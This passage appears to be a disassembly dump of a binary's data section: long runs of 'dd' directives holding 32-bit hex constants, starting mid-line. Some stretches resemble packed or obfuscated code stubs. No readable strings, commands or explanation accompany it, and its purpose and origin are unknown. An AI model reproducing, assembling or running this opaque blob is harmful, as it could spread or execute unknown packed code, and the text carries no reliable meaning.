0EF965500h, 0F8C00F78h, 3A07AD75h dd 0A06D13DCh, 0C13D1753h, 0FF0A0F46h, 4E84B0D0h, 0AF1881DBh dd 0C93A0260h, 6D7118F2h, 5A03B215h, 58EDF25Ch, 5BB986EFh dd 30E1ED93h, 0DB4E6A3Bh, 9612834Bh, 4C12AD45h, 0C7A7B31Ch dd 0B18C59FFh, 0D4034824h, 0D137EECBh, 50305FACh, 0E1D5018Ah dd 562978h, 0DFDFC738h, 7A059460h, 0AB084411h, 4C9A98E1h dd 929E0770h, 87CCA035h, 0F27DA058h, 0D31881CAh, 0DD2AAC75h dd 0B20DD2AEh, 0CFF65FCEh, 0CEB20DB1h, 0A2AE1780h, 0C88F9C2h dd 7B3E7771h, 0F96B83ECh, 0E3987973h, 1CCF00Eh, 0CF950000h dd 723D1D29h, 16E0C0CCh, 0B7846470h, 5C250511h, 0A8AAB6h dd 0D4E0864Fh, 7B872DF4h, 1D29CF9Bh, 0C3CF753Dh, 50305F2Ch dd 0E1D4FC1Ch, 0AC7596D6h, 521AFA06h, 0F856A0ACh, 0E4A8FDDh dd 0F7C1215Ch, 0DF138451h, 0B908D722h, 49463D6Ch, 92FBD137h dd 49DE96C5h, 0F1B8D501h, 53207E4Bh, 0DDC9E0ADh, 0B6057167h dd 1AE78D58h, 76EE5AA9h, 5B95FB8Bh, 0D120B6h, 755E0000h dd 0DC3A07ADh, 9ADFA213h, 0E45E2680h, 0EC7FAE7Bh, 9ADB4EFAh dd 51202CD2h, 2C8228F3h, 0E6CBB61h, 86D3A046h, 0F2760A39h dd 52BBDB4Eh, 408F35FCh, 0B7FC7065h, 38251788h, 6571DAD1h dd 0F0D4CD08h, 6EBB7368h, 72A1E64Fh, 0CAF2BDA5h, 881BE63Ch dd 0D94A17BDh, 7D45A370h, 30990AD7h, 5B2482C7h, 7CDAA9B5h dd 5FBD0CB2h, 91370396h, 61CA703Bh, 78950D49h, 0C4E2B798h dd 0D6h, 131FC58Bh, 0B6C26833h, 5A660CD6h, 0FB07AD7Ah dd 0A0AC521Bh, 7C450A9Eh, 23EACAD6h, 0C591717Dh, 6B33131Fh dd 5522B9C5h, 0FC1B5A26h, 8CCCD7D4h, 0FA06AC75h, 67AC521Ah dd 0E29ECD1Ah, 4FDB4F20h, 20C1BFE6h, 770DB4Fh, 77D5A4B8h dd 0A64C19ACh, 7526EE3Dh, 0DC3A07ADh, 5626E14h, 0AFCFD1D0h dd 849BA654h, 0E5A7D61Bh dd 0F2D1220Ch, 5926CC94h, 273DF81Dh, 78E11C6Dh, 20ED5629h dd 2A875D3h, 640AD735h, 67BD2697h, 0B728F59Bh, 0C0420A68h dd 0FBACEF91h, 20EC42D4h, 9CA8117Ah, 814EF4BCh, 0C8B8E734h dd 69D4FBACh, 0D382B100h, 6B3D34EAh, 0DCA447FDh, 824A2A36h dd 0E4B10FDCh, 6C50713Eh, 0AA3D05F8h, 0FB6C39DFh, 0DEA68692h dd 34D6B38h, 3000000h, 0AF758C54h, 16DE3C09h, 7945A370h dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h dd 0D8A301CEh, 52E86532h, 0C281E289h, 4, 3304EA83h, 14312414h dd 24143324h, 0E089505Ch, 405h, 4E88300h, 5C240487h, 83241C89h dd 2C8904ECh, 75685024h, 582CF429h, 5ECE2E05h, 348150D9h dd 123FD024h, 0F3815B7Ch, 7C123FD0h, 2C8B5458h, 4C48324h dd 89D98951h, 0C8B084Dh, 4C48324h, 52242C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 1C8B5C24h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 7927E95Ch, 3140FFFAh, 0BB8CB9A5h dd 611B8EEh, 0C5030653h, 5EE5E0FFh, 0A86053D6h, 8DD446EEh dd 0A1943FD8h, 0C4B131EDh, 2E824298h, 0C8B75EE8h, 906E6C81h dd 8E4D35E2h, 0AEAE01B3h, 0C1427A59h, 8B76C7Bh, 50AE63CAh dd 8D8D5A53h, 653077Eh, 0FEC2F681h, 8D893300h, 64D0599h dd 85C7A4B4h, 64D051Dh, 7048h, 0CDF08166h, 0E985C700h dd 64D02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 9BCBC356h, 0B5FF6D43h, 64D1611h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h dd 571F87D7h, 5595FF88h, 6A064D2Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 91A9C350h dd 0FF006AC9h, 4D051195h, 0EBC08B06h, 20B9C10Dh, 0FA4476B1h dd 0AE3E243Eh, 7DE9D3ADh, 60000001h, 6C4FFE5Dh, 0D76FC201h dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0) dd 3736D1F8h, 0D3C20DA4h, 7E8BDDC3h, 1071E9h, 0B186800h dd 53E90653h, 68FFFB38h, 6530C20h, 0FB3849E9h, 0DD368FFh dd 3FE90653h, 68FFFB38h, 6530EA7h, 0FB3835E9h, 100F68FFh dd 2BE90653h, 68FFFB38h, 65310F1h, 0FB3821E9h, 11E268FFh dd 17E90653h, 68FFFB38h, 653124Dh, 0FB380DE9h, 131B68FFh dd 3E90653h, 68FFFB38h, 65313C0h, 0FB37F9E9h, 145568FFh dd 0EFE90653h, 68FFFB37h, 6531531h, 0FB37E5E9h, 15DB68FFh dd 0DBE90653h, 68FFFB37h, 653173Ch, 0FB37D1E9h, 182768FFh dd 0C7E90653h, 4AFFFB37h, 36E6884Eh, 25D57761h, 18C86A6Eh dd 8B85A7Ch, 11AA4C8Ah, 9C3A58DBh, 894F4AFAh, 775F37E7h dd 687025D5h, 1B0159C6h, 9944966Dh, 9D8E5BEAh, 0AB0BE0F8h dd 8DBD6B51h, 41FB92F1h, 195E8631h, 135C0DB8h, 8628B0E5h dd 0B088F6C0h, 3F8BF1CAh, 0E8BD6E99h, 3F8B4AFCh, 5A93E599h dd 5200E640h, 0CF993F8Bh, 0A35DD51Eh, 49134BDAh, 49h, 52BD8784h dd 0DE59640h, 47A204A1h, 0A6EF7961h, 27C7684Eh, 9344993Fh dd 2820D2BEh, 0FA9A993Fh, 0C5D107DCh, 0A72F6311h, 0CC1DE7D2h dd 0D91264F1h, 0D0088FBFh, 0BA710F87h, 4AB6134Bh, 44801C5Dh dd 6275BE0Bh, 0F5h, 0C807739Dh, 0CE2F1747h, 1ECF098Ch dd 1122E034h, 0FE47FADDh, 3E13C5D0h, 0EEE8AEDEh, 2208E019h dd 92F26E74h, 0C9F740F1h, 2380DC9h, 3A704593h, 0C270565Bh dd 3F92F26Eh, 0D53BDD8Eh, 92F272F5h, 10B2266Fh, 48F6DC36h dd 9892F272h, 0F27304B2h, 25D08192h, 98FD2B74h, 5A386840h dd 12C4CE7Ch, 66BB043Dh, 17C1D606h, 7CC00942h, 874F47B2h dd 0F0C879B2h, 0C8F58984h, 0FE474BCBh, 0E783C0A6h, 4F00993Eh dd 0AF1DE7ADh, 9E54F1D7h, 20D19F8Eh, 5C7A1848h, 971B1884h dd 8F8F375Eh, 1A4A2446h, 0E6145D7Bh, 6D6F2AACh, 85807739h dd 0DC3DF30h, 0E3B50000h, 0F6A151F3h, 39040E2h, 118333D5h dd 1F7323C5h, 467C15B7h, 6B0DC9C9h, 58FADEBBh, 46E8EEA8h dd 37D9FF96h, 0DE8C72CAh, 5B994498h, 1973FFCCh, 0F18D8533h dd 8510292h, 7C1EB8DAh, 6D0FC9CCh, 28BD87A6h, 0F18D9442h dd 0AF601192h, 2FD86BD7h, 0D6787A07h, 81DB358Dh, 0F206ED9Bh dd 0D3CB2B92h, 0BA6C401Ch, 31155E0Fh, 993EE090h, 0A0385F0Dh dd 0CE192CBh, 3EE06E20h, 76B70999h, 4B734444h, 0DB3013h dd 9D6B0000h, 0D50BE0F8h, 584419BDh, 92F19278h, 9335A3F2h dd 0CB0B89B9h, 9A415482h, 0D009DEF8h, 34FE4A1Fh, 3BCFD0C9h dd 0EEAD6CF3h, 0FBD38435h, 3EBFD815h, 2EBC2899h, 0D17F65E7h dd 4E993F5Ch, 0C41FB39Dh, 64154089h, 0C732FCC2h, 7F5708D0h dd 8EEDEB99h, 8C0B3B9Fh, 0F53E774Ch, 114119CAh, 0D9B35581h dd 7DC42E6Dh, 9F3F689h, 91B352h, 0F5236CA2h, 867E399Dh dd 8A807794h, 0CBBE435h, 0DBBD0000h, 0EEA959FBh, 0FB9848EAh dd 98B3BDDh, 177B2BCDh, 4E841DBFh, 7315C1D1h, 6002D6C3h dd 4EF0E6B0h, 3FE1F79Eh, 0E6947AD2h, 63994499h, 0F59D07D4h dd 68F3FE1h, 4116C2D5h, 0DBB55708h, 93412781h, 1092F18Dh dd 8D4DFB5Fh, 0B79D92F1h, 92F18E09h, 7C2AD586h, 0C20BBC1Ah dd 1807737Dh, 41FF473Ch, 0B3E21059h, 771D4D25h, 0F0E8B15Fh dd 791C52A7h, 2DF7BD5Fh, 5D8DE7BFh, 8FC89D39h, 0E8316246h dd 0FDAE993Eh, 0E88A3C28h, 0D325993Eh, 7BA0609Ah, 0D707134Bh dd 0E471CBCh, 84B2C5h, 87ED0000h, 944252BDh, 0CE0A89BFh dd 0B15F451Dh, 2E92F18Dh, 0EF4CC7Dh, 993E98F5h, 0B9E9C172h dd 3D9BFCDDh, 0A97E2F68h, 72D22770h, 937AC18h, 0F7C79F6Ah dd 3F3DE593h, 36786299h, 0B2F58B19h, 8569B263h, 993F60D3h dd 0A9D31C6Eh, 134BF7EFh, 3195h, 0BD87D000h, 3891774Fh dd 88993EBEh, 5251011Ch, 3EE4BE6Ch, 0A08A3B99h, 0F740C0C2h dd 5A461BCCh, 993F4EA8h, 7EB8F143h, 134BE182h, 76Ah, 0C282A500h dd 3D000008h, 87544373h, 0BCF5CA0Eh, 0B47EC20Bh, 0DC886E46h dd 59994496h, 0A76D0A8h, 201DA1C8h, 25539CBBh, 0AD5B4170h dd 2A994529h, 7626C879h, 84E4B91Fh, 0FD984354h, 1C552ADBh dd 57C58FD3h, 317C997Fh, 48F99F98h, 83554070h, 0BD197BABh dd 0F3A25274h, 5328AEE8h, 3494691Ah, 58A8FDC8h, 8AC3983Eh dd 0A3A227A0h, 0DE4C165Ah, 347B2006h, 0EF8A5E5h, 0A4F59774h dd 34114A34h, 1FD00690h, 0DEC5B36Eh, 60B586CCh, 0B080Fh dd 0AE287000h, 9D3B5C0Ch, 90484BFBh, 80563EEEh, 72642EDEh dd 7E0137D0h, 7020C214h, 5D0DAF29h, 4BFB9D39h, 7FEC8E4Ah dd 9A934127h, 81109944h, 8E35E7B4h, 2B8592F1h, 0F18E9745h dd 1A631492h, 0C69E0CD6h, 449624E0h, 4EF0A199h, 7850BE88h dd 0DB894F48h, 7FD720B8h, 7A8B925h, 644CDCDBh, 0AA83371Bh dd 4F009F97h, 0A8B11D77h, 0D3F7CB37h, 0ABEA1861h, 52CA1FF4h dd 7425DAC9h, 0B0266C9Ch, 954567h, 0EDB703D8h, 0ACC1A77Fh dd 29A5EB70h, 90CA3F3Fh, 4F3956B1h, 5308A1E7h, 360EBF52h dd 73488E06h, 6999F13Ah, 300AAC2Ch, 0FA439500h, 3A0FC9CCh dd 0EAC69E4Eh, 0CA380225h, 0CC7F0CF2h, 4EFC2C37h, 85BE9345h dd 0C3519D4h, 0BC110D20h, 0A346Bh, 82544400h, 716730E0h dd 64741FCFh, 548212C2h, 469002B2h, 5AD50BA4h, 4CFC9E38h dd 39E98B4Dh, 27D7795Dh, 5BC86A6Eh, 9B6F1D03h, 5DEC9944h dd 28BD8790h, 0F18D9442h, 0AF601192h, 484D7DD7h, 191BE57h dd 1FD02574h, 0E4C8114Ah, 9944A128h, 0EC1CF4A5h, 726432A9h dd 266F1FC1h, 117DDDB2h, 7317A5D4h, 3F25FDD0h, 99458691h dd 0D0145D0Eh, 0DFF79B06h, 7126562Eh, 10599267h, 8F22D2B8h dd 0C79F9F98h, 988E33E1h, 4EFFB09Fh, 894F4676h, 0C41481B1h dd 0F8DEB6EFh, 9F988E4Ah, 0ABCD16C7h, 663E9AFBh, 8E78260Ch dd 0A2F29F98h, 8FD88934h, 0EDAADA3Ah, 94DD16EBh, 40188650h dd 0EB966D5Ah, 6139EAA5h, 9C746431h, 1D8BCC30h, 0DA231099h dd 4B8D08B8h, 66D88A76h, 0CE28A5ECh, 0EC663AE8h, 0F9DFB4A5h dd 10549D4Eh, 0A600D846h, 516E2C3Ah, 81CA8562h, 3F03A59Dh dd 997122ACh, 518A0F3Fh, 96DF9048h, 9AB2D68h, 4D6BC32Fh dd 267ABCACh, 0F2E6AFDDh, 9907D11Dh, 5D3767C1h, 10C1177Ch dd 442A023Bh, 0AC3EC696h, 35196213h, 0B291CE81h, 0E9F2A1D1h dd 0A27728B0h, 0FAAB2D6Ch, 0D586B1h, 0A47CEAB4h, 5C0AF04Ah dd 0D9B291CEh, 0CF16C428h, 0E293B291h, 0AE5B4199h, 2BB8DEE6h dd 25E5BF7Ah, 58AD99C7h, 8CC07h, 0EAECAC00h, 0D9FF9848h dd 0CC0C8737h, 0BC1A7A2Ah, 0AE286A1Ah, 0C23D730Ch, 0B46406D0h dd 0A151F3E5h, 8F3FE1F5h, 0C330D206h, 9DD7856Bh, 0C5549944h dd 0E0F89DF8h, 18C0D50Bh, 51850D43h, 894F467Ch, 0C42577B4h dd 63CC96F9h, 0D9BFF2A3h, 92F18D2Bh, 4949F7A8h, 603ADC8Dh dd 9A6F6930h, 0E0A01861h, 8C150620h, 7, 4E582C7h, 0C83D0000h dd 0FA2A842Fh, 2BD93D9Bh, 0A892F18Dh, 683D9BFAh, 0F1357E2Fh dd 0FBE1B927h, 993EB42Eh, 0BE18FAABh, 0CA6BAB52h, 10591BFDh dd 4B5AD02Ch, 0FC6A346Ch, 0FF9ACA24h, 82CB04D9h, 9866159Eh dd 0CE19272h, 0C2197CACh, 815607D1h, 0F1BBFF48h, 0EAC5AB83h dd 6778E8DBh, 13FDD9B9h, 6AC898A7h, 5F37E8EEh, 0D072662Fh dd 0A8637520h, 59D0E3D8h, 0EAE6378Ch, 8E000007h, 7A2ACC0Ah dd 6919BB1Dh, 5C0CAE2Ah, 4CFC9E38h, 55EE9046h dd 0E8EEA41Fh, 0D5039646h, 0C3138333h, 0B4247121h, 674DA512h dd 99449DB9h, 73DAA736h, 0B3885043h, 9203317Ah, 0B68B4B49h dd 0C1F7CC7Dh, 9D6305D1h, 0A78D65D3h, 994495C1h, 5BB58D3Eh dd 4495C775h, 85514199h, 6B5129DAh, 994495BDh, 0E840893Ah dd 0EED4DDB8h, 99449540h, 51FFE5BDh, 0CE994495h, 0E3BB6C1Dh dd 5E711977h, 78C11145h, 0ECEFA656h, 0A27A2BADh, 0DFB42272h dd 0A5EB997Fh, 0B7689944h, 1C68BD06h, 0B20CE452h, 0BEF85346h dd 0F22B00D6h, 25F4B808h, 568F6474h, 0C8785CA5h, 189F9870h dd 0DF28AEE8h, 0FB2B03B4h, 0C663E9Ah, 98707826h, 33A5F29Fh dd 0CC7A255Eh, 135C0DCBh, 875441F1h, 0B9F2C70Fh, 48DE27CFh dd 0D1826F18h, 0ACCC6FCh, 801B894Fh, 83D42980h, 6F9h, 1BBD197Fh dd 0AAC2C6Bh, 0FD9F395Ah, 0ED8F474Dh, 0DF81553Dh, 0FF931046h dd 148535D7h, 247222C4h, 356010B2h, 3C9401A3h, 449EA856h dd 0C9962599h, 774FBD87h, 4495E191h, 0D5AD5E99h, 46E8F0A5h dd 9C45006Ch, 14CBB684h, 0E0F89DCBh, 4EF5BF0Bh, 0A6223E03h dd 976F203Ah, 91BB9CB1h, 0AD68199Fh, 8079FAF1h, 8ED7287Dh dd 0EA000006h, 0D68628AEh, 0C57517C1h, 0B8680ACEh, 0A858FADCh dd 0B14AECEAh, 3C9AF87Bh, 29AFEA9Ah, 17BFD787h, 8D0C575h dd 0BBA1F966h, 9944A00Dh, 9D2EFB8Ah, 0D808E0F8h, 0E471CBAh dd 5B3A70C5h, 65BDA87Dh, 8D77250Bh, 46F492F1h, 8BD48553h dd 3E6E68C1h, 0B398254h, 9246518Ah, 4B453FE1h, 31150624h dd 7, 2A9826Ch, 9D3D0000h, 0BF0BE0F8h, 0C9AF87F5h, 99449719h dd 9343E596h, 0CB01D602h, 0A76D0FC7h, 0B22472DDh, 72432901h dd 0EF9F979Eh, 5F36663Eh, 6E27D779h, 335F956Ah, 0B882CEA3h dd 88F4C4Dh, 11C2FBD0h, 8619033Ch, 0B65BB5C0h, 6A5028D9h dd 0A5E57D85h, 0E6F2A5D5h, 648FD811h, 0BD46F8B3h, 69BE86CDh dd 5C018h, 0F6E0B800h, 0E5F3A454h, 0D8009343h, 0C80E8636h dd 0BA1C7626h, 0C6497F18h, 0B8680ACCh, 0A555F7E1h, 9343E5F1h dd 0C734D602h, 0A0DB896Fh, 0C9589944h, 0E0F89DFCh, 7AFC9C08h dd 72260B4Dh, 0F273DE8Ch, 0F9AA5B92h, 70255BB0h, 3C5D9368h dd 291C79Ch, 741BC9AFh, 0E79892F2h, 0D2246136h, 7943A699h dd 93455030h, 0D7BD17F1h, 92F27329h, 10E5F1A3h, 327B2CD7h dd 6C2DEBAh, 86F56115h, 7DD5B5F1h, 1003165Fh, 3E000000h dd 13A82h, 0B2BE2A00h, 0C6FCD327h, 9DE62B74h, 7D25E0F8h dd 0E173D9CDh, 51B3B8Ch, 3B5D0000h, 4E49F99Bh, 5B38E88Ah dd 692BDB7Dh, 771BCB6Dh, 0EE24BD5Fh, 13B52171h, 0A23663h dd 0EE904650h, 0DF81573Eh, 86341A72h, 39944A0h, 0F89DA774h dd 0C0D50BE0h, 8E584318h, 0A830655Dh, 240C0C06h, 0DF81506h dd 33000000h, 0D282h, 0CC823D00h, 3D000000h, 85514373h dd 0EA2E77B0h, 0AADAB220h, 4BA3ECEAh, 4496B565h, 0AC813299h dd 50289660h, 7D1C6F6h, 0CCB0F932h, 9F91CA33h, 0D2E21783h dd 8097F415h, 0A05B0C37h, 807A6D02h, 86ACFD52h, 0F2000004h dd 0DE8E30A6h, 0CD7D1FB9h, 0C07012C6h, 0B06002D4h, 0B952F4E2h dd 44920083h, 31A7F2A2h, 1FB7DF8Fh, 10C8CD7Dh, 0C3A9016Eh dd 9944A215h, 87360392h, 944752BDh, 5126D701h, 238F6718h dd 6D8BEC4Ch, 0D48B264h, 94E5BCA6h, 0D6BC145Dh, 993F3609h dd 18BED886h, 345F8F67h, 0F89CCCA4h, 0C6D309DEh, 53043D12h dd 35E7957Bh, 0B364993Fh, 31E2486Ah, 81993F35h, 35934127h dd 5F10993Fh, 2BADE816h, 1EBAD989h, 3FBF849h, 87B30000h dd 47774FBDh, 0FAC64E4Fh, 2C0AA4E7h, 0F4DA327Bh, 99458744h dd 0DE3810C1h, 87F09E84h, 0BC6D9945h, 4587AA58h, 2D762799h dd 54C28CD8h, 0E2C8227Ch, 99458734h, 429603B1h, 3A83346Dh dd 92BABD56h, 0CE893A9Fh, 807AFA3Ah, 0AAD02176h, 0CE000003h dd 0BA6A0CCAh, 0A959FBDDh, 9C4CEEEAh, 8C3CDEF8h, 952ED006h dd 28AEE45Fh, 15C3D686h, 3D3C373h, 0F4E4B161h, 0A78DE552h dd 9944A2F9h, 871AE776h, 91774FBDh, 994496E5h, 478F0535h dd 0C5F03972h, 890C3C14h, 98FDAD4Fh, 551F6B40h, 0C290FE7h dd 899F979Eh, 76A600D8h, 3F6DB620h, 50AA8256h, 979DBC6Ah dd 7B61399Fh, 9F979DCDh, 9FE8994Ah, 10C8CD7Dh, 4AF8DE38h dd 889F979Dh, 0FACFCD8Ah, 0ABB66A3h, 65F52420h, 17605DF4h dd 3EAC76C2h, 0BBDC0C66h, 4BF0D41Dh, 0C8A5E515h, 54D25C17h dd 0A5FA86CDh, 30054h, 0B6207800h, 0A5336414h, 98405303h dd 884E46F6h, 7A5C36E6h, 86093FD8h, 7828CA0Ch, 6515B721h dd 5303A531h, 87F49642h, 0A29B492Fh, 89189944h, 0E0F89DBCh dd 1AC8AE08h, 9792F18Eh, 12489DE6h, 0EDB35583h, 83DDB523h dd 4C954153h, 3EA98F68h, 9F85DF99h, 993EA9F1h, 4974BD6Eh dd 0A9DD8B71h, 0AC5A993Eh, 8F40F1E7h, 0AA1CCEBAh, 65B7993Eh dd 3816F204h, 2DDE134Bh, 19000000h, 774FBD87h, 3E8DF091h dd 0E7BC6D99h, 3E8D49FBh, 5992E499h, 4B20611Fh, 0FD96C613h dd 4A1FB9DEh, 0E0B26011h, 0F49AADF6h, 0D5000000h, 8E0F89Dh dd 1F79EA9Ch, 0E73086D8h, 0A0365C92h, 32D55CC8h, 8C9B1EF4h dd 2720CEB4h, 0EC9D92F2h, 7D184EA3h, 0F929835Bh, 30693E9Ah dd 0F2271ECCh, 0A1EA9B92h, 207F164Ch, 0F49CBD6Dh, 0FB9D4EE9h dd 0F264B595h, 72662F92h, 637520D0h, 7AD42E8Eh, 0F264E694h dd 4EB26392h, 92F264A0h, 0DF236C1Dh, 75CFA715h, 6487351Bh dd 530492F2h, 9619260Ah, 0E596993Fh, 1FCDB30Dh, 99993F96h dd 7E2FDAFEh, 0B3D97E94h, 0C009D29Fh, 846AC49Eh, 994086D6h dd 0BF944250h, 672DDB86h, 3175BE6Fh, 3B21F967h, 9F903E05h dd 0C9F9D182h, 0BB6B0DC9h, 0C444FFD7h, 0D880787Dh, 19F3283h dd 0BFD90000h, 0D2C57517h, 0DFB46406h, 0EDA757F9h, 0FB9747E9h dd 6AA039DBh, 8729ADE5h, 7416C2D7h, 6204D2C4h, 53F5E3B2h dd 0FAA88EE6h, 779944A4h, 0F59D1BE8h, 68F3FE1h, 736930D2h dd 0AE835343h, 1EE82C75h, 86CD8B0h, 9E8D59C3h, 7B5B39E7h dd 0CC246DA6h, 3F4C45E6h, 3C11C299h, 3F4C9E50h, 86E73999h dd 4B9F9474h, 0BD6013h, 9D9B0000h, 0D50BE0F8h, 584419BDh dd 92F19278h, 0CDFCA3F2h, 5FDBFCECh, 6414B667h, 72D2A731h dd 0B4B16106h, 5DA6AB4Ch, 9E14F19h, 3F4B1623h, 0AE29399h dd 0E02BAD9Eh, 83CCBB3Eh, 63D19B61h, 9301318Bh, 4B356E43h dd 7F1B39CCh, 0CCB0F9B7h, 9F8EE037h, 0BB851B87h, 513B9DF6h dd 0B3FC9F70h, 0CFFFD788h, 5A7C16C3h, 0F99B4C85h, 6904949h dd 6314C4D3h, 6D81F7B2h, 2C818077h, 0B4DBh, 2D4C400h, 0F1E7B060h dd 0E4F49F4Fh, 0D4029242h, 0C6108232h, 0DA558B24h, 0CC7C1EB8h dd 0B9690BCDh, 0A757F9DDh, 0DB48EAEEh, 0A5EF9D83h, 0DD6C9944h dd 0E1F59D10h, 0D2068F3Fh, 6C265630h, 9DDC216Ah, 0D50BE0F8h dd 0B07618C0h, 34A078E6h, 0A00837E9h, 59B1FA56h, 44CDCF73h dd 0C69B4C99h, 31D30590h, 0EFC41481h, 1D916703h, 2788DA12h dd 47F5DB35h, 0C4121D91h, 0F99CCA13h, 88D3DDFh, 0CFC5FBD0h dd 0EFD52F07h, 121D9141h, 6FC40DBEh, 0D6AEFF53h, 0D54119BFh dd 0CAD616A5h, 0B9DB2456h, 774C8C09h, 1026h, 0F49ECE00h dd 785499E2h, 33A5F020h, 7FC81085h, 0DBFB9D3Ah, 13C5D006h dd 488E083Eh, 7C5C3D73h, 0B52171A7h, 0EEE8AAE0h, 25B1E319h dd 5F791A50h, 9543548Ah, 89533DC0h, 4C381E3h dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 291C68h dd 24048900h, 5E08950h, 4, 8704E883h, 895C2404h, 0AD68243Ch dd 8B065309h, 0C4832404h, 5AA56804h, 24890000h, 24048124h dd 4, 8957515Fh, 5FF989C7h, 59084F89h, 52243C8Bh, 0C281E289h dd 4, 8704C283h, 8B5C2414h, 89532404h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 27F0E95Ch, 61FFFBh, 0B8B7DDh, 3065319h dd 0A4E0FFC5h, 7B0308DDh, 7970CDDEh, 722788B3h, 0F5792276h dd 0DA6696BAh, 9167BF22h, 542A2516h, 855E5E18h, 0D14EC530h dd 0F656E879h, 6A39AAFAh, 0AF75DA31h, 6B306B98h, 0E0087B8Dh dd 2D78A07Ah, 0F374BFF4h, 0EB6A6F53h, 0C0AE2204h, 550E933h dd 8F550000h, 32FDDDE9h, 0D6A0808Ch, 77442430h, 1CE5C5D1h dd 40686A76h, 94A0460Fh, 3B47EDB4h, 0DDE98F5Bh, 838F35FDh dd 90F01FECh, 0A1D4FC07h, 0AD755696h, 44AD531Ah, 54D6A1FFh dd 4F205B25h, 46DD6DBh, 0B982E0B5h, 5F270713h, 8D5A00CCh dd 216EB31Ch, 2B52F8C3h, 0DB4F2055h, 4F2473DCh, 3E8329F1h dd 0BC8417E0h, 6FD84916h, 22ED4B20h, 0CB39AF7Ch, 0F89E6699h dd 38E11DECh, 0AB00E7A0h, 0E07A2A43h, 2D421DACh, 43B480DEh dd 0C51F0024h, 0B4C0292Bh, 956208D4h, 0B4CCFB48h, 7DDB4E9Eh dd 0A067C514h, 3968B5FAh, 0DB4E9E47h, 5D3281EAh, 0F9EC583Ch dd 9B7B872Dh, 31602DD3h, 0DB4E9E42h, 4D88BCA2h, 0B016C035h dd 51E2h, 0AD752000h, 8FED3A07h, 0FDC71DC3h, 0CA198A57h dd 4F20E79Bh, 3D270DDBh, 1642A0C2h, 0F62572B0h, 0DB4F2C8Ah dd 0E08651A7h, 0EA39A213h, 182h, 0AA75C000h, 0ED93704h dd 703D9B68h, 1987FDCAh, 47EDB82Bh, 450E6C3Bh, 2AF2509Fh dd 0C029CF97h, 0AC756AB4h, 10DB3906h, 47AD9D6Ah, 7B21EA1Dh dd 45C78F6Fh, 4F206A16h, 0CC723CDBh, 5AC38EFFh, 209AE615h dd 2E97DB4Fh, 0D09AF8C5h, 7BE95D2Ah, 40640EC9h, 0AE93B016h dd 0D1000000h, 4F19AC75h, 26BDCA9h, 670DD735h, 541AE622h dd 0D48D4F49h, 82B63D58h, 73A218CCh, 0DB4EB10Dh, 352BB24h dd 1A4AB82Eh, 33781EE7h, 0B0C9B7E6h, 0FF68DB4Eh, 0F3BC9CB0h dd 0DDAA084Dh, 0B0542C5Bh, 74DDDB4Eh, 7ECD3E0Bh, 32205CA9h dd 0B85E2BABh, 145FD684h, 79A67C5h, 6AC8953Bh, 268FF89Eh dd 8A30FB59h, 11935FBDh, 4ED09EE2h, 0C12A93DBh, 0A69E04F4h dd 0EE56C430h, 41E7AE0Ch, 4EB40374h, 0B0161024h, 40D3h dd 4A861100h, 5E75D78h, 0AC521C70h, 0CD96F443h, 0AF0D5A27h dd 0FF703DE3h, 0E08652B0h, 5410FC13h, 3642E8B1h, 17AA75ECh dd 67D8A54Bh, 710231FEh, 73DB4F20h, 1A2CD78Dh, 0C1B01642h dd 1, 5AB75FFh, 6C12DA38h, 0D278419Fh, 36DCA705h, 93ED1C69h dd 9EDB4F20h, 7DE74D35h, 0CA7A5E77h, 9BA74D17h, 90D5973Eh dd 206C1443h, 5CC5DB4Fh, 0C6933906h, 8AB90655h, 0D13844EDh dd 0A0FECB34h, 462632D8h, 0DC0BD87Eh, 0D501FCA6h, 0DF3E7A47h dd 46B04013h, 0A1A30F5Eh, 0B324F14Fh, 4607C03Ch, 4C9B0469h dd 748026EEh, 5926CC94h, 0C08D33FBh, 27F49A62h, 8B58FEC9h dd 37BDA715h, 887BE94Fh, 260E1AC0h, 0B65B7D1Ch, 13EBBh dd 0DDF8F900h, 701B4A8Fh, 0E1D13841h, 15204EADh, 0A9D8E15Ah dd 0D5017BD7h, 1F88F15Ah, 862CF452h, 824DAB7Ah, 672F8DDCh dd 2F7CC1h, 0D5017B80h, 24F948B1h, 8B58FEC6h, 0DC0F359Bh dd 7A626E14h, 0B65BE7E8h, 4D0Fh, 28864D00h, 7BECB95Fh dd 0E589512Ch, 22DF71A0h, 2D72DB4Fh, 4F2082FEh, 0DD46AFDBh dd 0CB713A98h, 878A77Ch, 14DB4F21h, 664B6AEh, 6B46953Bh dd 93C2076Fh, 0DB4F22BDh, 501F2B94h, 40852BF2h, 4F206F11h dd 0A59C2DBh, 0AAECh, 0DDF8A200h, 0BDC9C2C4h, 6BD4001Ah dd 5A00C826h, 80CD1C8Dh, 379FB651h, 55228BD1h, 7EAD2FF7h dd 0D5014202h, 515DC62Fh, 3603A971h, 136D9CE9h, 1ED50142h dd 3E3766B5h, 9FD50142h, 15FB1B3h, 0E13F8E34h, 98677319h dd 0C400713Ah, 62629F1Fh, 21925FC8h, 8EDEF7D2h, 14B31A49h dd 359ECAD5h, 0AF420A68h, 8D53EE4h, 7E4BDEAAh, 44A26FD8h dd 9006D379h, 0F7BF2222h, 0AA138451h, 0D7B7AD91h, 0DC296EFEh dd 534B67Eh, 0CEAEE07Bh, 17E44DB6h, 0A52857A6h, 32C481FAh dd 98650BD4h, 9C05D827h, 0E585C190h, 0FB3C5A67h, 86975FAEh dd 6CBB6128h, 0E3284491h, 8CFDD3A7h, 0F3E3FD4h, 0DB4EBA71h dd 0BAEE57C0h, 0ACEDEF96h, 0A2EF3E10h, 892FF755h, 0CDFC4BBCh dd 